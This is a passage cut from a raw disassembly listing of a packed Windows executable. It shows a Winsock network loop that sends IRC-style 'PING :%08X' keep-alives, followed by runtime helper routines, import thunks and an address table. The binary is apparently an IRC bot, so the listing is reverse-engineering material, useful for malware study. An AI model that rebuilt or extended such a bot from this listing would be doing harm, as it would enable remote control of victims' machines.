18h call sub_40B480 mov dword_419FD0, eax call sub_40B480 mov dword_419FD4, eax call sub_40B480 mov dword_419FD8, eax call sub_40B480 mov dword_419FDC, eax push 104h lea eax, [ebp-1120h] push eax push edi call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA test eax, eax jnz short loc_411337 loc_411324: ; CODE XREF: kkrunchy:0041134Cj push offset byte_4191D0 push offset dword_419ECC call sub_4114B8 ; _mbscpy pop ecx pop ecx jmp short loc_41137D ; --------------------------------------------------------------------------- loc_411337: ; CODE XREF: kkrunchy:00411322j lea eax, [ebp-1120h] push eax call sub_4114BE ; strlen pop ecx loc_411344: ; CODE XREF: kkrunchy:00411464j mov [ebp-12F4h], eax cmp eax, edi jz short loc_411324 cmp byte ptr [ebp+eax-1121h], 5Ch jnz loc_411463 lea eax, [ebp+eax-1120h] push eax mov esi, offset dword_419ECC push esi call sub_4114B8 ; _mbscpy push esi push offset dword_419FE0 call sub_4114B8 ; _mbscpy add esp, 10h loc_41137D: ; CODE XREF: kkrunchy:00411335j call sub_4050D1 lea eax, [ebp-12ECh] push eax push 202h call dword_412274 ; WSAStartup loc_411394: ; CODE XREF: kkrunchy:0041143Bj push edi push edi push edi call sub_409522 add esp, 0Ch call sub_406A40 mov [ebp-1124h], edi mov [ebp-101Ch], edi loc_4113B0: ; CODE XREF: kkrunchy:0041145Ej mov dword ptr [ebp-4], 1 loc_4113B7: ; CODE XREF: kkrunchy:004113F1j ; kkrunchy:004113F9j push 0EA60h call sub_4091A7 push eax call sub_403E1F pop ecx pop ecx test eax, eax jnz short loc_4113FB cmp dword ptr [ebp-101Ch], 19h jz short loc_411438 cmp dword ptr [ebp-101Ch], 14h jnz short loc_4113F3 call sub_40B480 push eax push offset aPing08x ; "PING :%08X" call sub_4097DB pop ecx loc_4113F0: ; CODE XREF: kkrunchy:00411436j pop ecx jmp short loc_4113B7 ; --------------------------------------------------------------------------- loc_4113F3: ; CODE XREF: kkrunchy:004113DDj inc dword ptr [ebp-101Ch] jmp short loc_4113B7 ; --------------------------------------------------------------------------- loc_4113FB: ; CODE XREF: kkrunchy:004113CBj push 1000h lea eax, [ebp-1018h] push eax call sub_4091A7 push eax call sub_403DB2 add esp, 0Ch mov [ebp-1124h], eax cmp eax, edi jz short loc_411438 cmp eax, 0FFFFFFFFh jz short loc_411438 mov [ebp-101Ch], edi lea eax, [ebp-1018h] push eax call sub_40A407 jmp short loc_4113F0 ; --------------------------------------------------------------------------- loc_411438: ; CODE XREF: kkrunchy:004113D4j ; kkrunchy:0041141Dj ... mov [ebp-4], edi jmp loc_411394 ; --------------------------------------------------------------------------- loc_411440: ; DATA XREF: kkrunchy:004122B8o push offset aLoop ; "loop" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_411456: ; DATA XREF: kkrunchy:004122BCo mov esp, [ebp-18h] xor edi, edi mov [ebp-4], edi jmp loc_4113B0 ; --------------------------------------------------------------------------- loc_411463: ; CODE XREF: kkrunchy:00411356j dec eax jmp loc_411344 ; --------------------------------------------------------------------------- loc_411469: ; CODE XREF: kkrunchy:0041128Cj ; kkrunchy:0041129Aj inc dword ptr [ebp-1128h] jmp loc_41125C ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh xor edi, edi cmp dword_4191D8, edi jz short loc_4114AC push offset dword_4190F8 push offset dword_418E50 call sub_409659 pop ecx pop ecx loc_4114AC: ; CODE XREF: kkrunchy:00411499j call dword_412264 ; WSACleanup push edi call sub_41157C ; exit ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114B8 proc near ; CODE XREF: sub_401000+36p ; sub_401B81+61p ... jmp dword_41213C sub_4114B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114BE proc near ; CODE XREF: sub_40110A+64p ; sub_4014B0+Bp ... jmp dword_4121D0 sub_4114BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114C4 proc near ; CODE XREF: sub_4011C4+6Dp ; sub_4014B0+1Ap ... jmp dword_4121CC sub_4114C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114CA proc near ; CODE XREF: sub_4011C4+20p ; sub_4011C4+283p ... jmp dword_4121C8 sub_4114CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114D0 proc near ; CODE XREF: sub_4011C4+18p ; sub_401621+1Bp ... jmp dword_4121C4 sub_4114D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114D6 proc near ; CODE XREF: sub_4014B0+43p ; sub_401EA8+84p ... jmp dword_4121C0 sub_4114D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114DC proc near ; CODE XREF: sub_401571+97p ; sub_403EA9+170p ... jmp dword_4121BC sub_4114DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114E2 proc near ; CODE XREF: sub_401571+30p ; sub_401571+4Bp ... jmp dword_4121B8 sub_4114E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114E8 proc near ; CODE XREF: sub_401621+CFp ; sub_401621+DDp ... jmp dword_4121B4 sub_4114E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114EE proc near ; CODE XREF: sub_4018D5+8Ap ; sub_4027CB+45p ... jmp dword_4121B0 sub_4114EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114F4 proc near ; CODE XREF: sub_401985+150p ; sub_401B81+120p ... jmp dword_4121AC sub_4114F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114FA proc near ; CODE XREF: sub_401985+122p ; sub_402018+166p ... jmp dword_4121A8 sub_4114FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411500 proc near ; CODE XREF: sub_401985+85p ; sub_401985+1D8p ... jmp dword_4121A4 sub_411500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411506 proc near ; CODE XREF: sub_401985+42p ; sub_401B81+F1p ... jmp dword_4121A0 sub_411506 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411510 proc near ; CODE XREF: sub_401B81+1EAp ; sub_401B81+232p ... jmp dword_41219C sub_411510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411516 proc near ; CODE XREF: sub_401B81+11Ap ; sub_401B81+12Bp ... jmp dword_412198 sub_411516 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41151C proc near ; CODE XREF: sub_401EA8+2Fp ; sub_401EA8+4Ep ... jmp dword_412194 sub_41151C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411522 proc near ; CODE XREF: sub_402018+DDp ; sub_408E1A+A2p ... jmp dword_412190 sub_411522 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411528 proc near ; CODE XREF: sub_402018+98p ; sub_402018+B8p ... jmp dword_41218C sub_411528 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41152E proc near ; CODE XREF: sub_402018+47p ; sub_40311D+1Fp ... jmp dword_412188 sub_41152E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411540 proc near ; CODE XREF: sub_402EFD+8p ; sub_403E1F+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_411560 loc_41154C: ; CODE XREF: sub_411540+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41154C loc_411560: ; CODE XREF: sub_411540+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_411540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411570 proc near ; CODE XREF: sub_40324A+Dp ; sub_40324A+26p ... jmp dword_412184 sub_411570 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411576 proc near ; CODE XREF: sub_404639:loc_404679p jmp dword_412180 sub_411576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41157C proc near ; CODE XREF: sub_4050D1+209p ; kkrunchy:004114B3p jmp dword_41217C sub_41157C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411590 proc near ; CODE XREF: sub_405ECC+53p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4115B1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_411601 ; --------------------------------------------------------------------------- loc_4115B1: ; CODE XREF: sub_411590+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4115BF: ; CODE XREF: sub_411590+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4115BF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_4115EA cmp edx, [esp+4+arg_4] ja short loc_4115EA jb short loc_4115F2 cmp eax, [esp+4+arg_0] jbe short loc_4115F2 loc_4115EA: ; CODE XREF: sub_411590+4Aj ; sub_411590+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_4115F2: ; CODE XREF: sub_411590+52j ; sub_411590+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_411601: ; CODE XREF: sub_411590+1Fj pop ebx retn 10h sub_411590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411610 proc near ; CODE XREF: sub_405ECC+2Fp ; sub_405ECC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_411632 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_411673 ; --------------------------------------------------------------------------- loc_411632: ; CODE XREF: sub_411610+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_411640: ; CODE XREF: sub_411610+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_411640 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41166E cmp edx, [esp+8+arg_4] ja short loc_41166E jb short loc_41166F cmp eax, [esp+8+arg_0] jbe short loc_41166F loc_41166E: ; CODE XREF: sub_411610+4Ej ; sub_411610+54j dec esi loc_41166F: ; CODE XREF: sub_411610+56j ; sub_411610+5Cj xor edx, edx mov eax, esi loc_411673: ; CODE XREF: sub_411610+20j pop esi pop ebx retn 10h sub_411610 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411678 proc near ; CODE XREF: sub_4063E4+171p ; sub_406A40+5Ap ... jmp dword_412178 sub_411678 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411680 proc near ; CODE XREF: sub_4067B2+5Fp ; sub_40682C+A6p cmp cl, 40h jnb short loc_41169A cmp cl, 20h jnb short loc_411690 shrd eax, edx, cl shr edx, cl retn ; --------------------------------------------------------------------------- loc_411690: ; CODE XREF: sub_411680+8j mov eax, edx xor edx, edx and cl, 1Fh shr eax, cl retn ; --------------------------------------------------------------------------- loc_41169A: ; CODE XREF: sub_411680+3j xor eax, eax xor edx, edx retn sub_411680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4116A0 proc near ; CODE XREF: sub_406A40+53p ; sub_406AB7+53p ... jmp dword_412174 sub_4116A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4116B0 proc near ; CODE XREF: sub_406A40+40p ; sub_406AB7+40p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_4116D1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_4116D1: ; CODE XREF: sub_4116B0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_4116ED inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_4116ED: ; CODE XREF: sub_4116B0+27j or eax, eax jnz short loc_411709 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41174A ; --------------------------------------------------------------------------- loc_411709: ; CODE XREF: sub_4116B0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_411717: ; CODE XREF: sub_4116B0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_411717 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_411745 cmp edx, [esp+0Ch+arg_4] ja short loc_411745 jb short loc_411746 cmp eax, [esp+0Ch+arg_0] jbe short loc_411746 loc_411745: ; CODE XREF: sub_4116B0+85j ; sub_4116B0+8Bj dec esi loc_411746: ; CODE XREF: sub_4116B0+8Dj ; sub_4116B0+93j xor edx, edx mov eax, esi loc_41174A: ; CODE XREF: sub_4116B0+57j dec edi jnz short loc_411754 neg edx neg eax sbb edx, 0 loc_411754: ; CODE XREF: sub_4116B0+9Bj pop ebx pop esi pop edi retn 10h sub_4116B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41175A proc near ; DATA XREF: sub_406BBC+Ao ; sub_406CB2+Ao ... jmp dword_412170 sub_41175A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411760 proc near ; CODE XREF: sub_406C5D+31p ; sub_406D58+D0p jmp dword_41216C sub_411760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411766 proc near ; CODE XREF: sub_406D58+A4p jmp dword_412168 sub_411766 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41176C proc near ; CODE XREF: sub_407237+B0p ; sub_407237+B6p ... jmp dword_412164 sub_41176C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411772 proc near ; CODE XREF: sub_407237+3Ep ; sub_407237+62p jmp dword_412160 sub_411772 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411778 proc near ; CODE XREF: sub_407237+19p ; sub_4072FC+16Fp jmp dword_41215C sub_411778 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41177E proc near ; CODE XREF: sub_40765C+E0p ; sub_407A76+165p ... jmp dword_412158 sub_41177E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411784 proc near ; CODE XREF: sub_4079AC+54p jmp dword_412154 sub_411784 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41178A proc near ; CODE XREF: sub_407A76+E87p ; kkrunchy:0040B657p ... jmp dword_412150 sub_41178A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411790 proc near ; CODE XREF: sub_4095E7+38p ; sub_409659+38p ... jmp dword_41214C sub_411790 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411796 proc near ; CODE XREF: sub_40A7C4+31p ; sub_40A7C4+54p jmp dword_412148 sub_411796 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41179C proc near ; CODE XREF: sub_40A82E+2Fp ; sub_40A82E+58p jmp dword_412144 sub_41179C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117A2 proc near ; CODE XREF: sub_40A82E+17p jmp dword_412140 sub_4117A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117A8 proc near ; CODE XREF: sub_40C135+67p ; sub_40CEBE+301p ... jmp dword_412138 sub_4117A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117AE proc near ; CODE XREF: sub_40CEBE+3AFp ; sub_40CEBE+425p jmp dword_412134 sub_4117AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117B4 proc near ; CODE XREF: sub_40CEBE+1E5p ; sub_40CEBE+23Cp jmp dword_412130 sub_4117B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117BA proc near ; CODE XREF: sub_40CEBE+1AAp jmp dword_41212C sub_4117BA endp ; --------------------------------------------------------------------------- loc_4117C0: ; CODE XREF: kkrunchy:00411985j jmp dword_412128 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4117C8 proc near ; CODE XREF: sub_4101E6+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_4117C8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4117E8 proc near ; CODE XREF: sub_403767+2Fp ; sub_403767+151p ... jmp dword_41220C sub_4117E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4117F0 proc near ; CODE XREF: sub_4101E6+6Dp ; sub_4101E6+DAp ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_41185F retn 4 sub_4117F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4117FE proc near ; CODE XREF: sub_4101E6+8Cp ; sub_4101E6+15Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_411850 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_419170 push eax call dword ptr [ecx] test eax, eax jl short loc_411850 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_411850 lea eax, [ebp+var_4] push eax push 0 call dword_4121DC test eax, eax jz short loc_411850 and [ebp+var_4], 0 loc_411850: ; CODE XREF: sub_4117FE+Dj ; sub_4117FE+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_41185F leave retn 0Ch sub_4117FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41185F proc near ; CODE XREF: sub_4117F0+6p ; sub_4117FE+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_411883 lea eax, [ebp+var_10] push offset dword_4123C8 push eax call sub_411952 ; _CxxThrowException sub_41185F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_411883 proc near ; CODE XREF: sub_41185F+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4122C4 test eax, eax mov [esi+8], eax jz short loc_4118AF cmp [esp+4+arg_8], 0 jz short loc_4118AF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_4118AF: ; CODE XREF: sub_411883+1Dj ; sub_411883+24j mov eax, esi pop esi retn 0Ch sub_411883 endp ; =============== S U B R O U T I N E ======================================= sub_4118B5 proc near ; DATA XREF: kkrunchy:off_4122C4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4118FE test [esp+4+arg_0], 1 jz short loc_4118CB push esi call sub_41176C pop ecx loc_4118CB: ; CODE XREF: sub_4118B5+Dj mov eax, esi pop esi retn 4 sub_4118B5 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4122C4 jz short loc_4118F8 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_4118F8: ; CODE XREF: kkrunchy:004118F0j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4118FE proc near ; CODE XREF: sub_4118B5+3p ; DATA XREF: kkrunchy:004123CCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4122C4 test eax, eax jz short loc_411914 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_411914: ; CODE XREF: sub_4118FE+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_411922 push esi call dword_4120B4 ; LocalFree loc_411922: ; CODE XREF: sub_4118FE+1Bj pop esi retn sub_4118FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411924 proc near ; CODE XREF: sub_4011C4+C1p ; sub_4050D1+90p ... jmp dword_4121D4 sub_411924 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41192A proc near ; CODE XREF: sub_401B81+C9p ; sub_402C11+101p ... jmp dword_412118 sub_41192A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411930 proc near ; CODE XREF: sub_402230+B1p ; sub_402230+1ABp ... jmp dword_41211C sub_411930 endp ; =============== S U B R O U T I N E ======================================= sub_411936 proc near ; DATA XREF: kkrunchy:off_4122CCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_411958 test [esp+4+arg_0], 1 jz short loc_41194C push esi call sub_41176C pop ecx loc_41194C: ; CODE XREF: sub_411936+Dj mov eax, esi pop esi retn 4 sub_411936 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411952 proc near ; CODE XREF: sub_41185F+1Fp jmp dword_412120 sub_411952 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411958 proc near ; CODE XREF: sub_411936+3p jmp dword_412124 sub_411958 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-14h] jmp loc_41098C ; --------------------------------------------------------------------------- loc_411968: ; DATA XREF: kkrunchy:0041238Co lea ecx, [ebp-1Ch] jmp loc_41098C ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp loc_41098C ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_41098C ; --------------------------------------------------------------------------- loc_411980: ; DATA XREF: sub_4101E6o mov eax, offset dword_412360 jmp loc_4117C0 ; --------------------------------------------------------------------------- align 4 dd 19Dh dup(0) dword_412000 dd 77DD22EAh ; DATA XREF: sub_401000+55r ; sub_404ACF+116r ... dword_412004 dd 77DD5C55h ; DATA XREF: sub_401000+B2r ; sub_404EDC+91r dword_412008 dd 77DD7F3Eh ; DATA XREF: sub_401000+22r dword_41200C dd 77DD23D7h ; DATA XREF: sub_404ACF+14Dr ; sub_405FF3+20Ar ... dword_412010 dd 77DD59F0h ; DATA XREF: sub_404EDC+83r dword_412014 dd 77DD590Bh ; DATA XREF: sub_404EDC+24r dword_412018 dd 77DDACABh ; DATA XREF: sub_405FF3+A4r dword_41201C dd 77DE042Eh ; DATA XREF: sub_40B31E+59r dword_412020 dd 77DE03D2h ; DATA XREF: sub_40B31E+1Er dword_412024 dd 77DDEBA2h ; DATA XREF: sub_40B31E+18r dword_412028 dd 77DD189Ah ; DATA XREF: sub_401000+EBr ; sub_404ACF+226r ... align 10h dword_412030 dd 77E65F4Ch ; DATA XREF: sub_405FF3+B2r dword_412034 dd 77E7C657h ; DATA XREF: sub_405FF3+D6r ; sub_409277+1D3r ... dword_412038 dd 77E7513Ch ; DATA XREF: sub_405F9A+8r dword_41203C dd 77E705C5h ; DATA XREF: sub_404FA8+3Br dword_412040 dd 77E74672h ; DATA XREF: sub_404EDC+6Br ; sub_4101E6+4C7r dword_412044 dd 77E705B0h ; DATA XREF: sub_404E31+18r dword_412048 dd 77E7A837h ; DATA XREF: sub_404E31+30r ; sub_404FEB+80r ... dword_41204C dd 77E73CE2h ; DATA XREF: sub_404E31+67r dword_412050 dd 77E7011Ah ; DATA XREF: sub_404E31+9Dr dword_412054 dd 77E704FCh ; DATA XREF: sub_404D00+16r ; sub_404DAD+15r ... dword_412058 dd 77E77CCEh ; DATA XREF: sub_40311D+38r dword_41205C dd 77E805D8h ; DATA XREF: sub_402D7B+2r ; sub_4045B7+12r ... dword_412060 dd 77E7A5FDh ; DATA XREF: sub_402D7B+Fr ; sub_4045B7+1Fr ... dword_412064 dd 77E75CB5h ; DATA XREF: sub_40287C+190r ; sub_4052DF+E6r ... dword_412068 dd 77E6BD13h ; DATA XREF: sub_402230+CCr ; sub_4050D1+123r dword_41206C dd 77F5157Dh ; DATA XREF: sub_402230+DAr ; sub_407237+8Br ... dword_412070 dd 77E79D8Ch ; DATA XREF: sub_4018A7+20r ; sub_404FEB+BCr ... dword_412074 dd 77E6CBF9h ; DATA XREF: sub_401621+50r dword_412078 dd 77E7727Ah ; DATA XREF: sub_401621+64r dword_41207C dd 77E76C1Ah ; DATA XREF: sub_405FF3+2Fr dword_412080 dd 77E79CE3h ; DATA XREF: sub_401621+BAr dword_412084 dd 77E61BB8h ; DATA XREF: sub_401621+11Cr ; sub_4050D1+1FCr dword_412088 dd 77EB7624h ; DATA XREF: sub_401621+193r dword_41208C dd 77E7FF65h ; DATA XREF: sub_401621+1B3r dword_412090 dd 77E78B82h ; DATA XREF: sub_401621+210r dword_412094 dd 77E79F93h ; DATA XREF: sub_4011C4+A5r ; sub_40287C+151r ... dword_412098 dd 77E7A099h ; DATA XREF: sub_4011C4+ACr ; sub_40287C+158r ... dword_41209C dd 77E706B7h ; DATA XREF: sub_4011C4+E5r ; sub_404639+110r ... dword_4120A0 dd 77E61A54h ; DATA XREF: sub_4011C4+12Dr ; sub_40495C+7Cr dword_4120A4 dd 77E61BE6h ; DATA XREF: sub_4011C4+1F0r ; sub_4011C4+299r ... dword_4120A8 dd 77E616B4h ; DATA XREF: sub_4011C4+22Dr ; sub_404A33+2Er dword_4120AC dd 77E77963h ; DATA XREF: sub_4011C4+255r ; sub_4011C4+274r ... dword_4120B0 dd 77E70396h ; DATA XREF: sub_40110A+15r ; sub_4050D1:loc_405263r dword_4120B4 dd 77E79A45h ; DATA XREF: sub_4118FE+1Er dword_4120B8 dd 77E73628h ; DATA XREF: sub_40110A+24r ; sub_401985+30r ... dword_4120BC dd 77E7AC37h ; DATA XREF: sub_40756C+D0r dword_4120C0 dd 77E75090h ; DATA XREF: sub_409843+71r dword_4120C4 dd 77E74D76h ; DATA XREF: sub_409843+3Dr dword_4120C8 dd 77E77797h ; DATA XREF: sub_409843+2Cr dword_4120CC dd 77E686CCh ; DATA XREF: sub_4067B2+3Er ; sub_40682C+10Fr dword_4120D0 dd 77E6C0E3h ; DATA XREF: sub_4067B2+15r ; sub_40682C+6Cr ... dword_4120D4 dd 77E7751Ah ; DATA XREF: sub_406A40:loc_406AA1r ; sub_406AB7:loc_406B18r ... dword_4120D8 dd 77E6D75Bh ; DATA XREF: sub_406A40+14r ; sub_406AB7+14r ... dword_4120DC dd 77E802FCh ; DATA XREF: sub_406A40+Ar ; sub_406AB7+Ar ... dword_4120E0 dd 77E7176Ch ; DATA XREF: sub_406BBC+40r dword_4120E4 dd 77E75CEBh ; DATA XREF: sub_406F84+6Br ; sub_406F84:loc_40707Cr dword_4120E8 dd 77E79908h ; DATA XREF: sub_4071D2+26r dword_4120EC dd 77F7E21Fh ; DATA XREF: sub_407200+4r dword_4120F0 dd 77E80656h ; DATA XREF: sub_4011C4:loc_40124Ar ; sub_404A33+14r dword_4120F4 dd 77F7E300h ; DATA XREF: sub_40720B+4r dword_4120F8 dd 77E79C90h ; DATA XREF: sub_401621+A2r dword_4120FC dd 77E78C17h ; DATA XREF: kkrunchy:00411219r dword_412100 dd 77E7C2C4h ; DATA XREF: kkrunchy:0041127Er dword_412104 dd 77E73167h ; DATA XREF: sub_4101E6:loc_410489r ; sub_4101E6+320r ... dword_412108 dd 77E73BEFh ; DATA XREF: sub_4101E6+58Dr dword_41210C dd 77E7AC5Eh ; DATA XREF: sub_40FDB3+96r dword_412110 dd 77E76432h ; DATA XREF: sub_409918+1E2r ; sub_4101E6+2C2r ... align 8 dword_412118 dd 77C1C055h ; DATA XREF: kkrunchy:003F2B70o ; sub_41192Ar dword_41211C dd 77C423F5h ; DATA XREF: sub_411930r dword_412120 dd 77C219F5h ; DATA XREF: sub_411952r dword_412124 dd 77C20C5Bh ; DATA XREF: sub_411958r dword_412128 dd 77C21AD8h ; DATA XREF: kkrunchy:loc_4117C0r dword_41212C dd 